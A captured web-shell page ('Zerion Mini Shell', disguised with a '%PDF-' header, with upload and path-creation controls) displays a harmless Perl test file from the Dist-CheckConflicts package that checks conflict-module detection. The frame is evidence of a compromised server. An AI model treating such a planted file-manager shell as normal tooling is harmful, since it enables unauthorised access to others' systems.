%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/optisoftcom/.cpanm/work/1544535406.20768/Dist-CheckConflicts-0.11/t/
Upload File :
Create Path :
Current File : /home/opti/optisoftcom/.cpanm/work/1544535406.20768/Dist-CheckConflicts-0.11/t/also.t

#!/usr/bin/env perl
use strict;
use warnings;
use Test::More;
use Test::Fatal;
use lib 't/lib/also';

{
    require Bar::Conflicts;
    is_deeply(
        { Bar::Conflicts->conflicts },
        {
            'Bar::Local'      => '0.02',
            'Foo::Thing'      => '0.01',
            'Foo::Thing::Sub' => '0.05',
        },
        "can detect the proper conflicts module"
    );
}

{
    require Bar::Conflicts2;
    is_deeply(
        { Bar::Conflicts2->conflicts },
        {
            'Bar::Also' => '0.06',
        },
        "unknown also entries are ignored"
    );
}

done_testing;

Zerion Mini Shell 1.0